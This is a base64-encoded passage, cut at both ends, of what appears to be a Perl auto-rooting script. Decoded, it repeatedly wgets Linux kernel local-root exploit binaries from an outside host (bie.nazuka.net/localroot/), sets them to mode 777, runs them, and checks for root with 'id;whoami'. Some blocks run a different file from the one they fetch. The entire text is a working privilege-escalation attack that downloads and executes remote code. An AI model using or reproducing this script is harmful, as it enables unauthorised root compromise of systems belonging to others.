dC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNF8yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiLi8yLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjQiKTsNCnN5c3RlbSgiLi8yLjYuMjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI3LjctZ2VuZXJpIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiLi8yLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oIi4vMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsNCnN5c3RlbSgiLi8yLjYuMzMiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzciKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzctcmMyIik7DQpzeXN0ZW0oIi4vMi42LjM3LXJjMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzQiKTsNCnN5c3RlbSgiLi8yLjYuNi0zNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNl9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi43X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi43X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtMjAwOC45LTY3LTIwMDgiKTsNCnN5c3RlbSgiLi8yLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi44X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi44X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkiKTsNCnN5c3RlbSgiLi8yLjYuOSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA0Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0zNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMzQiKTsNCnN5c3RlbSgiLi8yLjYuOS0zNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiLi8yLjYuOS00Mi4wLjMuRUxzbXAtMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNTUiKTsNCnN5c3RlbSgiLi8yLjYuOS01NSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA3LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS02NzIwMDgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS4yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS4yIik7DQpzeXN0ZW0oIi4vMi42LjkuMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiLi8yLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA3Iik7DQpzeXN0ZW0oIi4vMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LWxvY2FsIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA5LWxvY2FsIik7DQpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LXd1bmRlcmJhciIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiLi8yMDA5LXd1bmRlcmJhciIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCIuLzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjEiKTsNCnN5c3RlbSgiLi8yMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzIik7DQpzeXN0ZW0oIi4vMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDMuNC42LTktMjAwNyIpOw0Kc3lzdGVtKCIuLzMuNC42LTktMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMzEiKTsNCnN5c3RlbSgiLi8zMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zNi1yYzEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDM2LXJjMSIpOw0Kc3lzdGVtKCIuLzM2LXJjMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA0Iik7DQpzeXN0ZW0oIi4vNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDQiKTsNCnN5c3RlbSgiLi80NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDciKTsNCnN5c3RlbSgiLi80NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA1Iik7DQpzeXN0ZW0oIi4vNSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTAiKTsNCnN5c3RlbSgiLi81MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTQiKTsNCnN5c3RlbSgiLi81NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA2Iik7DQpzeXN0ZW0oIi4vNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNjciKTsNCnN5c3RlbSgiLi82NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3Iik7DQpzeXN0ZW0oIi4vNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83LTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDctMiIpOw0Kc3lzdGVtKCIuLzctMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83eCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgN3giKTsNCnN5c3RlbSgiLi83eCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC84Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA4Iik7DQpzeXN0ZW0oIi4vOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA5Iik7DQpzeXN0ZW0oIi4vOSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTAiKTsNCnN5c3RlbSgiLi85MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTQiKTsNCnN5c3RlbSgiLi85NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYoMSkuMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNigxKS4xMiIpOw0Kc3lzdGVtKCIuL0xpbnV4XzIuNigxKS4xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCIuL0xpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuOS1qb29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2QzdmlsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBkM3ZpbCIpOw0Kc3lzdGVtKCIuL2QzdmlsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDEiKTsNCnN5c3RlbSgiLi9leHAxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgi